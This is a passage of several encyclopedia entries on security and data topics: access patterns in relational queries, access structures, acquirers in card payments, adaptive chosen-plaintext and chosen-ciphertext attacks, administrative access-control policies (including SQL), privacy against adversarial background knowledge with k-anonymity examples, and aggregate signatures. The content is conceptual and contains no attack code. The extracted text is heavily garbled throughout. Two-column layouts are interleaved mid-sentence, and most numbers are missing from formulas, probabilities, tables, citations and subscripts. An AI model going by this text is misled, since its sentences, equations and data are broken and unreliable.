interaction between a data source, represented in relational ing each attribute Ai , i m, into an access mode
terms, and its user. As such, the notion of access pattern (either i for input or o for output).
naturally characterizes several different settings. A conjunctive query H B , . . . , Bn over relations
For instance, in the context of Web data, a large amount with access patterns is said to be executable (or well-moded,
of information is accessible only via forms. Every data in the context of logic programs) if for every atom Bi ,
A Access Pattern
with i n, every position corresponding to an input The query containment problem q q for two
attribute in Bi is occupied either by a constant or by a vari- queries q and q is the decision problem that consists in
able that also occurs in another atom Bj with j < i. As an determining whether, for every possible database instance
example, consider the following relation schemata, where D, the answers to q in D are always a subset of the answers
the access modes are indicated as superscripts: to q in D. Query containment is one of the main tools for
query optimization and minimization. Stability is tightly
r (Titleo , Cityi , Artisto ) that associates to a given city
related with query containment and, from the point of view
the song title and name of artist performing it in that
of computational complexity, it has been proved to be as
city, and
hard as query containment. In general, stability can also
r (Artisti , Nationo , Cityo ) that associates to a given
be cast as an instance of the problem of answering queries
artist name the nation and city of birth of the artist
using views [].
The query qe (A) r (T, ny, A), r (A, italy, C) Executable queries, feasible queries, and stable queries
requesting the names of those Italian artists having per- clearly allow one to always retrieve the complete answer to
formed in New York is executable, since the constant ny the query as if the relations with access patterns were ordi-
occurs in the only input position of r , and the input posi- nary relational tables. However, this is not always the case.
tion of r is occupied by variable A, which already occurs in Consider, e.g., the query qa (A) r (A, italy, modena),
r . Executability indicates that the execution can take place requesting the names of artists born in Modena, Italy.
from left to right in the body of the query: first r is accessed This query has one single body atom with a variable (A)
with the input value ny, with the effect of populating vari- occurring in an input position, so no executable reorder-
ables T (title) and A (artist name) with corresponding ing exists. For query qa , the complete answer cannot, in
values, and then r is accessed with the value(s) populat- general, be found. However, it is possible to adopt a recur-
ing A, if any, thus returning values for the corresponding sive extraction strategy that makes use of all the constants
nation and city (C). After the call to r , the artist names known from the query and of the domains associated with
associated with nation italy will be returned as results. the relation attributes. Recursion comes from the fact that
Consider now the query qf (A)r (A, italy, C), output values from one relation can be used in input fields
r (T, ny, A) requesting the same thing as the previous of another relation, and there might be cyclic input-output
query. Such a query is not executable (in the left-to-right dependencies among the relations in the schema. In this
order of atoms in the body), since a variable (A) occurs particular example, one may consider that the attribute
in an input attribute of r but not in any previous atoms City in r has the same domain as City in r , i.e., the val-
in the body (r occurs in the leftmost atom in the query ues used for the former can also be used for the latter,
body). However, the query qf admits a simple reordering of and vice versa; similarly for Artist. One could then exploit
the body atoms that transforms it into an executable query, the only known value for the domain City (modena) and
namely, by swapping the two body atoms one obtains the use it to access r , which indeed requires a city name as
body of the previous query qe , which is executable. Queries input. Although this access is unrelated with the query
with this property are said to be feasible. qa , where r is not even mentioned, it can provide val-
The query qs (A)r (A, italy, C), r (T, ny, A), r (T, C , ues for artist names and song titles as output; in turn,
A) is as qf but has an additional atom that further requires these artist names can be used to access r and retrieve
artists A to have performed the same song T also in a values for nations and cities; the new city names can be
city C (possibly, but not necessarily, different from ny). used to access r again, and so on. This possibly lengthy
Such a query is neither executable nor feasible, since in discovery process consists in disclosing all the content of
any reordering of the atoms, atom r (T, C , A) will have the relations that can be extracted with the given initial
variable C in an input position, and C does not occur else- knowledge; at the end of the process, when no new values
where in the query. However, the new atom r (T, C , A) can be discovered, the original query qa can be evaluated
is redundant, since it does not pose any new requirement over the data retrieved so far. The answers obtained in
to the query. More formally, it can be shown that query this way, called reachable certain answers, are in general
qs is equivalent to query qf (and to qe , too), i.e., for every only a subset of the answers that would have been found
possible instance of the relations, the answers to qs coin- on the relations without access patterns, yet they are the
cide with those to qf (and to qe ). A query, such as qs , best possible answers that can be retrieved by complying
that is equivalent to a feasible query is said to be stable with the access patterns. A query such as qa for which
(some authors [, , ], however, call feasible the stable the reachable certain answers can be found is said to be
queries, and orderable the feasible queries). answerable.
Access Pattern A
Finally, there are also queries for which so little is constraints, namely, functional dependencies and simple
known that even a recursive extraction process would full-width inclusion dependencies (a restricted kind of
always fail to find any answer. Such queries are said to inclusion dependencies that involve all the attributes of
be unanswerable. An example of unanswerable query is a relation). The latter kind of dependencies is particu-
A
qu (A) r (A, italy, C): here no city name or artist name larly interesting in this context, since it can be used to
is initially known, so there is no hope to extract any data assert that different relations are equivalent, and thus cap-
from the relations. ture the notion of relations with multiple access patterns.
Finding the reachable certain answers is an expen- Techniques for dynamic optimization for minimization of
sive process that might require a considerable amount of accesses under more expressive classes of integrity con-
accesses to the relations. This is particularly problematic straints are yet to be explored.
when the accesses themselves are a bottleneck for query Query containment has also been studied in the pres-
evaluation, as happens, e.g., when data sources over the ence of access patterns [, ], with a semantics that
Web are characterized as relations with access patterns. differs from the traditional one. The decision problem
The recursive approach to query evaluation described q ap q for queries q and q under access patterns asks
for answerable queries requires extracting all data (from whether, for every database instance D, the reachable cer-
all relations in the schema) that can be discovered with tain answers to q in D are always a subset of the reachable
the available information before evaluating the original certain answers to q in D. Although several algorithms
query on the discovered data. This naive approach can be have been proposed to address this problem, the currently
improved in several respects. First of all, some relations in available complexity bounds are not known to be tight.
the schema might be irrelevant for the computation of the Furthermore, query containment in the presence of access
reachable certain answers: only relevant relations should patterns with the above semantics has only been studied for
be accessed during query evaluation. Moreover, not all conjunctive queries over relations with exactly one access
accesses to relevant relations might be useful to compute pattern and no integrity constraints in the schema.
the reachable certain answers: again, such accesses should
be avoided. This brings forward the problem of minimiza- Recommended Reading
tion of the accesses used for the the evaluation of a given . Cal A, Martinenghi D (a) Conjunctive query containment
query. Minimization of accesses can be considered when under access limitations. In: Proceedings of the twenty-seventh
international conference on conceptual modeling (ER ),
compiling a plan for the execution of the query (static opti-
Barcelona, Oct , pp
mization) as well as during the execution itself (dynamic . Cal A, Martinenghi D (b) Querying data under access limi-
optimization), possibly using information obtained from tations. In: Proceedings of the twenty-fourth IEEE international
the data being extracted and integrity constraints that are conference on data engineering (ICDE ), Cancun, Apr
known to hold on the relations. . IEEE Computer Society Press, pp
. Cal A, Calvanese D, Martinenghi D () Dynamic query opti-
mization under access limitations and dependencies. J Univers
Open Problems Comput Sci ():
Stability and feasibility are well understood by now [, ], . Dembinski P, Maluszynski J () And-parallelism with intelli-
and several results are available that also cover the cases of gent backtracking for annotated logic programs. In: Proceedings
schemata with integrity constraints and relations with pos- of the symposium on logic programming, Boston,
July , pp
sibly more than one access pattern [, , ]. In particular,
. Deutsch A, Ludscher B, Nash A () Rewriting queries using
access patterns can be encoded into integrity constraints of views with access patterns under integrity constraints. Theor
a suitable form, which can then be processed together with Comput Sci ():
the other constraints. . Duschka OM, Levy AY () Recursive plans for information
Relevance and static optimization for minimization gathering. In: Proceedings of the fifteenth international joint
conference on artificial intelligence (IJCAI), Nagoya,
of accesses have, instead, only been studied for limited
Aug , pp
forms of conjunctive queries in the case of relations with . Florescu D, Levy AY, Manolescu I, Suciu D () Query
exactly one access pattern and no integrity constraints in optimization in the presence of limited access patterns. In:
the schema [, ]. More general results are required to Proceedings of the ACM SIGMOD international conference
cover more expressive query classes and to allow for the on management of data, Philadelphia, May June ,
pp
presence of integrity constraints and multiple access pat-
. Halevy AY () Answering queries using views: a survey.
terns. Efforts in this direction were made in the context VLDB J ():
of dynamic optimization [], where results are available . Li C () Computing complete answers to queries in the
in the case of schemata with particular kinds of integrity presence of limited access patterns. VLDB J ():
A Access Rights
. Li C, Chang E () Answering queries with useful bindings. P is monotone if for each element of P each superset
ACM Trans Database Syst (): belongs to P , formally: when A B P and A P
. Ludscher B, Nash A () Processing union of conjunc-
then B P .
tive queries with negation under limited access patterns. In:
Proceedings of the ninth international conference on extend- Adversary structure: []
ing database technology (EDBT ), Heraklion, Crete,
March , pp Definition An adversary structure is the complement
. Millstein TD, Halevy AY, Friedman M () Query contain- of an access structure, formally, if P is an access structure,
ment for data integration systems. J Comput Syst Sci ():
then P /P is an adversary structure.
. Nash A, Ludscher B () Processing first-order queries
under limited access patterns. In: Proceedings of the twenty-
third ACM SIGACT SIGMOD SIGART symposium on princi- Recommended Reading
ples of database systems (PODS ), Paris, June , . Hirt M, Maurer U () Player simulation and general adver-
pp sary structures in perfect multiparty computation. J Cryptol
. Rajaraman A, Sagiv Y, Ullman JD () Answering queries ():
using templates with binding patterns. In: Proceedings of the . Ito M, Saito A, Nishizeki T () Secret sharing schemes real-
fourteenth ACM SIGACT SIGMOD SIGART symposium on izing general access structures. In: Proceedings of the IEEE
principles of database systems (PODS), San Jose, May global telecommunications conference, Globecom , Tokyo.
IEEE Communications Society, pp
. Yang G, Kifer M, Chaudhri VK () Efficiently ordering
subgoals with access constraints. In: Proceedings of the twenty-
fifth ACM SIGACT SIGMOD SIGART symposium on principles
of database systems (PODS ), Chicago June ,
pp ACM
. Yerneni R, Li C, Garcia-Molina H, Ullman JD () Computing
capabilities of mediators. In: Proceedings of the ACM SIGMOD
international conference on management of data, Philadelphia, Access Control Matrix
June , pp
Acquirer
Access Rights
Marijke De Soete
Permissions SecurityBiz, Oostkamp, Belgium
Denition
In card retail payment schemes and electronic commerce,
Access Structure there are normally two parties involved in a payment trans-
action: a customer and a merchant. The acquirer is the
Yvo Desmedt bank of the merchant.
Department of Computer Science, University College In POS transactions: the entity (usually a bank) to
London, London, UK which the merchant transmits the information necessary
to process the card payment.
In ATM transactions: the entity (usually a bank) which
Related Concepts makes banking services (e.g., cash retrieval) available to the
Perfectly Secure Message Transmission; Secure Mul- customer (cardholder), directly or via the use of third party
tiparty Computation (SMC); Secret Sharing Schemes; providers.
Visual Secret Sharing Schemes
Denition Recommended Reading

Access structure: [] . www.ecb.europa.eu
. www.emvco.com
Definition Let P be a set of parties. An access struc- . www.europeanpaymentscouncil.eu
ture P is a subset of the powerset P . (Each element P . www.howbankswork.com
is considered trusted, e.g., has access to a shared secret.) . www.pcisecuritystandards.org
Administrative Policies A
Recommended Reading
Adaptive Chosen Ciphertext . Biham E, Biryukov A, Dunkelman O, Richardson E, Shamir A
Attack () Initial observations on skipjack: cryptanalysis of skipjack-
xor. In: Tavares SE, Meijer H (eds) Selected areas in cryptog- A
Alex Biryukov raphy, SAC . Lecture notes in computer science, vol .
FDEF, Campus Limpertsberg, University of Luxembourg, Springer, Berlin, pp
. Wagner D () The boomerang attack. In: Knudsen LR (ed) Fast
Luxembourg software encryption, FSE. Lecture notes in computer science,
vol . Springer, Berlin, pp
Related Concepts
Block Ciphers; Public Key Cryptography; Symmetric
Cryptosystem
Adaptive Chosen Plaintext Attack
Denition
An adaptive chosen ciphertext attack is a chosen cipher- Alex Biryukov
text attack scenario in which the attacker has the ability FDEF, Campus Limpertsberg, University of Luxembourg,
to make his or her choice of the inputs to the decryption Luxembourg
function based on the previous chosen ciphertext queries.
The scenario is clearly more powerful than the basic chosen
ciphertext attack and thus less realistic. However, the attack Related Concepts
may be quite practical in the public-key setting. For exam- Block Ciphers; Digital Signature Schemes; MAC
ple, plain RSA is vulnerable to chosen ciphertext attack Algorithms; Symmetric Cryptosystem
(RSA Public-Key Encryption for more details) and some
implementations of RSA may be vulnerable to adaptive
Denition
chosen ciphertext attack, as shown by Bleichenbacher [].
An adaptive chosen plaintext attack is a chosen plain-
text attack scenario in which the attacker has the ability
Recommended Reading
to make his or her choice of the inputs to the encryption
. Bleichenbacher D () Chosen ciphertext attacks against proto-
cols based on the RSA encryption standard PKCS#. In: Krawczyk function based on the previous chosen plaintext queries
H (ed) Advances in cryptology CRYPTO. Lecture notes in and their corresponding ciphertexts. The scenario is clearly
computer science, vol . Springer, Berlin, pp more powerful than the basic chosen plaintext attack, but
is probably less practical in real life since it requires inter-
action of the attacker with the encryption device.
Adaptive Chosen Plaintext and

Chosen Ciphertext Attack
Administrative Policies
Alex Biryukov
FDEF, Campus Limpertsberg, University of Luxembourg, Pierangela Samarati
Luxembourg Dipartimento di Tecnologie dellInformazione (DTI),
Universit degli Studi di Milano, Crema (CR), Italy
Related Concepts
Block Ciphers; Boomerang Attack; Symmetric
Cryptosystem Related Concepts
Access Control Policies, Models, and Mechanisms;
Denition Discretionary Access Control Policies (DAC);
In this attack, the scenario allows the attacker to apply Mandatory Access Control Policy (MAC); Role-Based
adaptive chosen plaintext and adaptive chosen cipher- Access Control Policies (RBAC)
text queries simultaneously. The attack is one of the most
powerful in terms of the capabilities of the attacker. The Denition
only two examples of such attacks known to date are the An administrative policy defines who can grant and revoke
boomerang attack [] and the yoyo-game []. authorizations (or prohibitions) to access resources.
A Administrative Policies
Background For its simplicity and large applicability, the owner-

An access control service controls every access to a sys- ship policy is the most popular choice in todays systems.
tem and its resources to ensure that all and only authorized This administrative policy is used, for example, in Linux-
accesses can take place. To this purpose, access control is based and windows-based operating systems. Decentral-
based on access rules defining which accesses are (or are ized administration is typically captured with ownership
not) to be allowed. An administrative policy is therefore in the database management system contexts (see SQL
needed to regulate the specification of such rules, that is, Access Control Model). Decentralized administration is
to define who can add, delete, or modify them. Admin- convenient since it allows users to delegate administra-
istrative policies are one of the most important, though tive privileges to others. Delegation, however, complicates
less understood, aspects in access control. Indeed, they the authorization management. In particular, it becomes
have usually received little consideration, and, while it is more difficult for users to keep track of who can access
true that a simple administrative policy would suffice for their objects. Furthermore, revocation of authorizations
many applications, it is also true that new applications becomes more complex. There are different approaches to
(and organizational environments) would benefit from the the decentralized administration works, which may differ
enrichment of administrative policies. in the way the following questions are answered:
What is the granularity of administrative authoriza-

Theory and Application
tions?
Access control policies are usually coupled with (or include)
Can delegation be restricted, that is, can the grantor of
an administrative policy. In multilevel mandatory access
an administrative authorization impose restrictions on
control, the allowed accesses are determined entirely on
the subjects to which the recipient can further grant the
the basis of the security classification of subjects and
authorization?
objects. Security classes are assigned to users by the secu-
Who can revoke authorizations?
rity administrator. Security classes of objects are deter-
What about authorizations granted by the revokee?
mined by the system on the basis of the classes of the
users creating them. The security administrator is typi-
Existing decentralized policies allow users to grant
cally the only one who can change the security classes of
administration for a specific privilege (meaning a given
subjects and objects. The administrative policy is therefore
access on a given object). They do not permit to put con-
very simple. Discretionary and role-based access con-
straints on the subjects to which the recipient receiving
trol permit a wide range of administrative policies. Some
administrative authority can grant the access. This feature
of these are described below []:
could, however, result useful. For instance, an organiza-
Centralized. A single authorizer (or group) is allowed tion could delegate one of its employees to grant access
to grant and revoke authorizations to the users. to some resources, while constraining the authorizations
Hierarchical. A central authorizer is responsible the employee can grant to be only for employees work-
for assigning administrative responsibilities to other ing within her laboratory. Usually, authorizations can be
administrators. The administrators can then grant and revoked only by the user who granted them (or, possibly, by
revoke access authorizations to the users of the system. the objects owner). When an administrative authorization
Hierarchical administration can be applied, for exam- is revoked, the problem arises of dealing with the autho-
ple, according to the organization chart. rizations specified by the users from whom the adminis-
Cooperative. Special authorizations on given resources trative privilege is being revoked. As an example, suppose
cannot be granted by a single authorizer but need that Alice gives Bob the authorization to read File and
cooperation of several authorizers. gives him the privilege of granting this authorization to
Ownership. Each object is associated with an owner, others (in some systems, such capability of delegation is
who generally coincides with the user who created the called grant option). Suppose then that Bob grants the
object. Users can grant and revoke authorizations on same authorization to Chris, and subsequently Alice
the objects they own. revokes the authorization from Bob. The problem now is
Decentralized. Extending the previous approaches, what should happen to the authorization that Chris has
the owner of an object (or its administrators) can received from Bob. Typically, the choice is either to deny
delegate to other users the privilege of specifying the revocation (since the authorization of Chris would
authorizations, possibly with the ability of further remain dangling) or enforce a recursive revoke deleting
delegating it. also Chris authorization.
Administrative Policies in SQL A
Recommended Reading systems, the reliance on a single administrative role is typ-

. Samarati P, De Capitani di Vimercati S () Access control: Poli- ically inadequate. In those systems, it is crucial to be able
cies, models, and mechanisms. In: Focardi R, Gorrieri R (eds) to organize the set of resources into separate domains,
Foundations of Security Analysis and Design. Lecture Notes of
assigning distinct responsibilities to different administra-
A
Computer Science, vol . Springer, Berlin, pp
tors for each domain. The overall organization is typically
hierarchical, but more flexible structures are also possi-
ble (e.g., a federated model can support the cooperation
between independent security domains). The SQL access
Administrative Policies in SQL control model satisfies these requirements, offering mech-
anisms for schema definition that permit to identify sepa-
Alessandro Campi , Stefano Paraboschi rate domains. Also, the grant option offers a convenient
Dipartimento di Elettronica e Informazione, Politecnico way for the transfer of privileges over a domain or portion
di Milano, Milano, Italy of a domain.
Dipartimento di Ingegneria dellInformazione e Metodi For instance, we can consider a scenario where a hier-
Matematici, Universit degli Studi di Bergamo, Dalmine, archical administrative policy has to be defined, with a root
BG, Italy DBA responsible for the complete content of the database
and a collection of domains within it, each containing a
Related Concepts set of tables. The DBA can easily satisfy these requirements
Grant Option; Roles in SQL; SQL Access Control by granting to the users/roles responsible for the adminis-
Model tration of each domain the required privileges, using the
grant option. The domain administrators will then be able
Denition to freely manage access privileges to the resources within
Administrative policies specify the responsibilities for the the domains, granting privileges to other users in order to
definition of the security policy in an organization. They carefully realize the access control policy required by the
can be considered as meta-policies, describing how users information system.
can create the concrete policy that has to be applied over In general, the support for policy management real-
the resources in the system. ized by SQL offers fine granularity, allowing the DBA to
create policies that meet special circumstances and limit
Application the delegation of administrative policies to a desired subset
Outside of the database scenario, administrative policies of data or privileges. The use of revoke statements within
are typically supported in a limited way. A common facil- previously granted domains permits to exempt a particular
ity in most access control systems is the idea that there is instance, database, or database object from a policy.
a central overall owner of the system (e.g., administrator, A crucial requirement satisfied by the administrative
root, supervisor); then, to improve flexibility and let the sys- model for SQL is represented by the definition of a sin-
tem better manage the information system requirements, gle repository for all the polices applicable to a given data
an owner (user, role, group) for every resource is defined. collection. Other access control systems may define and
The owner typically corresponds to the security principal activate administrative polices in one part of the system,
responsible for the creation of the resource. The owner, in whereas the access policies for the concrete resources are
addition to the central administrator, will have the right to stored in a separate repository. This separation increases
define access privileges to the resorce or to portions of it. the costs for the consolidated management of information
The access control model used in relational databases system security.
and supported by SQL at a first level follows the above
approach: there is a central database administrator (DBA), Recommended Reading
and for every resource (schema, table, domain, trigger, . De Capitani di Vimercati S, Samarati P, Jajodia S () Database
etc.) there is an owner; privileges can be granted on every security. In: Marciniak J (ed) Wiley encyclopedia of software
resource by the DBA and by its owner. If a resource engineering. Wiley, New York
contains other resources, the privilege granted to the con- . Samarati P, De Capitani di Vimercati S () Access control:
Policies, models, and mechanisms. In: Focardi R, Gorrieri R (eds)
tainer also holds over the resources contained in it.
Foundations of security analysis and design. Lecture notes in
For small systems, the administrative model relying on computer science, vol . Springer, Berlin
the concepts of an overall owner of the system and a spe- . Database language SQL () ISO international standard,
cific owner of every resource is often sufficient. For large ISO/IEC - :
A Advanced Encryption Standard
sharing is often accompanied by concern for the privacy of

Advanced Encryption Standard human subjects. The challenge of privacy-preserving data
publishing, and statistical de-identification is to produce
Rijndael data that is useful for aggregate analysis, but that prevents
attackers (malicious individuals) from learning sensitive
private information about specific people.
One of the most common means of attacking a pub-
Advanced Hash Competition lished dataset (to infer specific information about individ-
uals) is by linking the published data with another public
AHS Competition/SHA- dataset. One such attack was described by Sweeney [],
and involved a dataset that was collected by the Group
Insurance Commission (GIC), which contained medical
information about Massachusetts state employees. Before
Adversarial/External Knowledge the data was given to researchers, known identifiers (e.g.,
(Privacy in the Presence of) names, social security numbers, addresses, and phone
numbers) were removed. However, the data did contain
Kristen LeFevre , Bee-Chung Chen demographic attributes (e.g., birth date, gender, and zip

Department of Electrical Engineering and Computer code). Unfortunately, the combination of the demographic
Science, University of Michigan, Ann Arbor, MI, USA attributes was sufficient to uniquely identify a large pro-

Yahoo! Research, Mountain View, CA, USA portion of the population. Thus, by linking the published
data with another public dataset, it was possible to reiden-
tify many people, including then-governor William Weld.
Related Concepts In response to the threat of linking attacks, Samarati
-Privacy; k-anonymity; Macrodata Protection; [] and Sweeney [] developed the k-anonymity model of
Microdata Protection; Quasi-identifier privacy. Informally, the k-anonymity condition stipulates
that the values of each record in the published dataset (cor-
Denition responding to a single person) be generalized or coarsened
Privacy in the presence of adversarial/external knowledge to such a degree that the record is indistinguishable from a
is an approach used in privacy-preserving data publishing group containing at least k other records. However, it has
and related areas to analyze the amount of private, sensi- been shown that this approach is often still vulnerable to
tive information revealed from published data assuming attack by an adversary in possession of other background
the adversary or attacker has certain knowledge about the knowledge [, , , ]. Thus, in order to develop a
individuals in the data in addition to the published data robust publication scheme, it is critical to develop stan-
itself. It is also used to define privacy criteria resilient to dards, or definitions, of privacy that are resilient to attacks
attacks using such knowledge. based on background knowledge.
Background Theory
Numerous organizations collect personal information for The problem of reasoning about background knowledge
research and other purposes. Classical examples include is most easily illustrated with an example. Consider a fic-
census bureaus, departments of public health, and demo- titious hospital, which owns the patient data shown in
graphic researchers. More recently, with the prolifera- Table , and suppose that the hospital wishes to publish
tion of the World Wide Web, mobile communication a version of this data for research. Using the concept of
devices, and sensors, it has also become common for k-anonymity [, ], the hospital might first remove iden-
researchers and companies to collect information about tifiers (e.g., Name), and then produce the -anonymous
people automatically. Examples of the latter include click- snapshot shown in Table , which generalizes the values
streams, search logs, social networks (e.g., instant messag- of the nonsensitive quasi-identifier attributes (in this case,
ing buddy lists), and GPS traces. Zip Code, Age, and Nationality).
Often, it is important to share the collected information While this is sufficient to protect the identities of
across organizational boundaries, or even with the public. individual patients in the absence of other information,
For example, demographic and public health data can often because an attacker can not effectively determine which
be reused by other researchers, beyond the study for which record corresponds to which patient, Machanavajjhala
they were initially collected. However, the promise of data et al. observed that it may be insufficient to prevent
Adversarial/External Knowledge (Privacy in the Presence of) A
Adversarial/External Knowledge (Privacy in the Presence to get heart disease), then he can further infer that Carol is
of). Table Inpatient database likely to have an infection.
Identier Formally, let D denote the original data. After applying
Nonsensitive Sensitive a transformation or masking procedure, the data publisher
A
Name Zip Code Age Nationality Condition obtains a sanitized view of D, denoted D . To understand
Alice Russian Heart disease whether D is safe for release, the data publisher can con-
Bob American Heart disease sider an attacker whose goal is to predict whether a target
Carol Japanese Infection
individual t has a particular sensitive value s. In making
Dave American Infection
this prediction, the adversary has access to D as well as an
Ed Indian Cancer
external knowledge base K. Ideally, the privacy definition
Frank Russian Heart disease
should place an upper bound on the adversarys confidence
Greg American Infection
in predicting any target individual t to have any sensi-
Henry American AIDS
Ida Indian Cancer tive value s. In other words, the privacy definitions should
Jan Japanese Cancer guarantee the following:
Ken American Cancer maxt,s Pr(t has sK, D ) < c
Lou American Cancer
The value maxt,s Pr(t has sK, D ) is commonly called
the breach probability, and it represents the attackers con-
Adversarial/External Knowledge (Privacy in the Presence fidence in predicting the most likely sensitive value of s
of). Table -Anonymous inpatient database for the least-protected individual t in D , given that the
Identier
attacker has access to knowledge base K.
Nonsensitive Sensitive Returning to the example, in the absence of additional
Name Zip Code Age Nationality Condition knowledge, using D , intuitively the attacker can pre-
Alice
Heart disease dict Henry to have AIDS with confidence Pr(Henry has
Bob
Heart disease AIDS D ) = / because there are four individuals in
Carol
Infection Henrys equivalence class, and only one of them has AIDS.
Dave
Infection However, the adversary can improve his confidence if he
Ed
Cancer has some additional knowledge. For example:
Frank
Heart disease
The attacker knows Henry personally, and is sure
Greg
Infection
Henry
AIDS
he does not have Cancer. After removing the record
Ida
Cancer with Cancer, the probability that Henry has AIDS
Jan
Cancer becomes /.
Ken
Cancer From another dataset, the attacker learns that Frank
Lou
Cancer has Heart Disease. By further removing Franks record,
the probability that Henry has AIDS becomes /.
Given this basic formulation, the challenge is to develop
attribute disclosure []. For example, consider an attacker an appropriate means of expressing the attackers knowl-
who knows that his neighbor Jan (the target individual) is edge base K. Typically, an attackers knowledge can take
an inpatient in this hospital, and he knows that Jans Zip two forms: logical [, , ] or probabilistic [].
Code is , her Age is , and her Nationality is Japanese. Consider the case of logical background knowledge.
The attacker can conclude from the published data that one The problem of expressing an attackers knowledge is
of the last four records must be Jans, but since all have the complicated by the fact that, in general, the data publisher
same value of Condition (Cancer), he can conclude that Jan does not know the knowledge of any particular attacker
must have Cancer. (i.e., the contents of K). Worse, in the case of public-use
The data shown in Table may also be vulnerable to data, there may be many different attackers, each with
attack based on instance-level background knowledge [, his own distinct knowledge base. To address this prob-
, ]. To illustrate this problem, consider an attacker who lem, Martin et al. proposed a language for expressing such
knows patient Carol personally. Using the published data, knowledge []. Rather than requiring the data publisher
the attacker can determine that one of the first four records to anticipate specific knowledge (e.g., Frank has Heart Dis-
must be Carols. However, if this attacker has additional ease), they proposed to quantify the amount of knowledge
knowledge (e.g., he knows that it is rare for Japanese people that an adversary could have, and to release data that is
A Adware
resilient to a certain amount of knowledge, regardless of . Chen BC, Kifer D, LeFevre K, Machanavajjhala A ()
its specific content. Formally, let L(k) denote the language Privacy-preserving data publishing. FTDBS ():
. Chen BC, LeFevre K, Ramakrishnan R () Privacy skyline:
for expressing k pieces of background knowledge (e.g., k
privacy with multidimensional adversarial knowledge. In: Pro-
logical sentences of certain form). The general form of this ceedings of the rd international conference on very large data
requirement can be stated as follows: bases (VLDB), Vienna
. Du W, Teng Z, Zhu Z () Privacy-Maxent: integrating back-
maxt,s,KL(k) Pr(t has sK, D ) < c ground knowledge in privacy quantification. In: Proceedings of
the ACM SIGMOD international conference on management of
The language proposed by Martin et al. has been fur- data (SIGMOD), Vancouver
ther refined in work by Chen et al. [], and a variety of . Duong Q, LeFevre K, Wellman M () Strategic modeling of
algorithms have been proposed for producing a sanitized information sharing among data privacy attackers. In: Quanti-
snapshot D that is resilient to a certain amount and type tative risk analysis for security applications workshop, Pasadena
. Dwork C () Differential privacy. In: ICALP, Venice
of background knowledge [, ]. . Dwork C, McSherry F, Nissim K, Smith A () Calibrat-
ing noise to sensitivity in private data analysis. In: Theory of
Open Problems cryptography conference, New York
There are a number of difficult open challenges related . Evfimievski A, Gehrke J, Srikant R () Limiting privacy
breaches in privacy-preserving data mining. In: Proceedings
to the modeling, development, and realization of privacy-
of the nd ACM SIGMOD-SIGACT-SIGART symposium on
preserving data publication schemes that incorporate principles of database systems (PODS), San Diego
background knowledge. These challenges include, but are . Ganta S, Kasiviswanathan S, Smith A () Composition
not limited to, the following: attacks and auxiliary information in data privacy. In: Proceed-
ings of the th ACM SIGKDD international conference on
Parameter Setting: Many of the existing privacy defini- knowledge discovery and data mining, Las Vegas
tions include user-specified parameters. In some cases, . Hay M, Miklay G, Jensen D, Towsley D, Weis P () Resisting
these parameters have interpretable meaning (e.g., the structural re-identification in anonymized social networks. In:
Proceedings of the th international conference on very large
number of pieces of Boolean background knowledge
data bases (VLDB), Auckland
available to an attacker [, ]). Nonetheless, it is not . Kifer D () Attacks on privacy and DeFinnettis theorem. In:
always clear how to configure the parameters unless the Proceedings of the ACM SIGMOD international conference on
data publisher has a deep understanding of potential management of data, Providence
attackers []. . Machanavajjhala A, Gehrke J, Kifer D, Venkitasubramaniam M
() l-Diversity: privacy beyond k-anonymity. In: Proceed-
Sequential releases and composability: Privacy of sequen-
ings of the IEEE international conference on data engineering
tial releases is another important problem. Often it (ICDE), Atlanta
is possible to infer sensitive information by combin- . Martin D, Kifer D, Machanavajjhala A, Gehrke J, Halpern J
ing independent anonymizations of the same data set () Worst-case background knowledge for privacy-
[, ]. One proposed approach to handling this prob- preserving data publishing. In: Proceedings of the IEEE
international conference on data engineering (ICDE), Istanbul
lem is through the use of composable privacy defini-
. Samarati P () Protecting respondents identities in micro-
tions []. data release. IEEE Trans Knowl Data Eng ():
Application to other forms of structured data: Much . Sweeney L () K-Anonymity: a model for protecting privacy.
of the existing work has focused on modeling back- IJUFKS ():
ground knowledge in a specific setting, where the data . Xiao X, Tao Y () M-Invariance: towards privacy preserv-
ing publication of dynamic datasets. In: Proceedings of the
is stored in a single table, each row describes a single
ACM SIGMOD international conference on management of
person, and the rows are independent of one another. data, Beijing
In contrast, much of the data that is being collected in
emerging applications does not satisfy this particular
form. For this reason, recent work has begun to con-
sider background knowledge attacks on anonymized
data of other forms, including social network graphs Adware
[] and trajectory databases [].
Spyware
Recommended Reading
. Abul O, Bonchi F, Nanni M () Never walk alone: uncertainty
for anonymity in moving objects databases. In: Proceedings of
AES
the IEEE international conference on data engineering (ICDE),
Cancn Rijndael
AHS Competition/SHA- A
signer i+ and so on until all messages are signed. The final

Aggregate Signatures aggregate signature should have the same length as a signa-
ture on a single message. Verifying an aggregate signature
Dan Boneh is as before. In particular, only the final aggregate is given
A
Department of Computer Science, Stanford Univeristy, to the verifier along with all messages and all public keys.
Stanford, CA, USA The partially aggregated signatures passed from signer to
signer are unknown to the verifier. Note that sequential
Denition aggregation is sufficient for the certificate chain application
An aggregate signature is a tuple of four algorithms: Key- described above.
Gen, Sign, Combine, and Verify. The first two are the same Sequential aggregate signatures can be built from any
as in a standard digital signature system. Algorithm Com- trapdoor permutation in the random oracle model []
bine takes as input a vector of n triples where each triple and can be built using bilinear maps without random
contains a public-key pki , message mi , and signature i . oracles [].
The algorithm outputs a single signature that functions While aggregate signatures let anyone aggregate sig-
as a signature on all the given messages. We call an natures from different signers, a related concept called
aggregate signature and its length should be the same as multi-signatures lets anyone aggregate signatures from a
a signature on a single message. Finally, algorithm Verify single signer.
takes as input a vector of n pairs (pki , mi ) and a single
aggregate signature . It would output valid only if was Recommended Reading
generated as an aggregate of n valid signatures. . Boneh D, Gentry C, Lynn B, Shacham H () Aggregate and
verifiably encrypted signatures from bilinear maps. In: Biham E
Algorithm Combine can aggregate signatures on a (ed) Proceedings of EUROCRYPT , Warsaw, May .
large number of messages by different signers into a sin- Lecture notes of computer science, vol . Springer, Berlin,
gle short signature. This aggregate signature is sufficient pp
to convince anyone that all the original messages were . Lysyanskaya A, Micali S, Reyzin L, Shacham H () Sequen-
properly signed by the respective public keys. Aggregation tial aggregate signatures from trapdoor permutations. In: Cachin
C, Camenisch J (eds) Proceedings of EUROCRYPT , Inter-
can be done by anyone and requires no secret keys. We laken, May . Lecture notes of computer science, vol .
emphasize that all the original messages and public keys Springer, Berlin, pp
are needed to verify an aggregate signature. . Lu S, Ostrovsky R, Sahai A, Shacham H, Waters B () Sequen-
Aggregate signature as described above are sometimes tial aggregate signatures and multisignatures without random
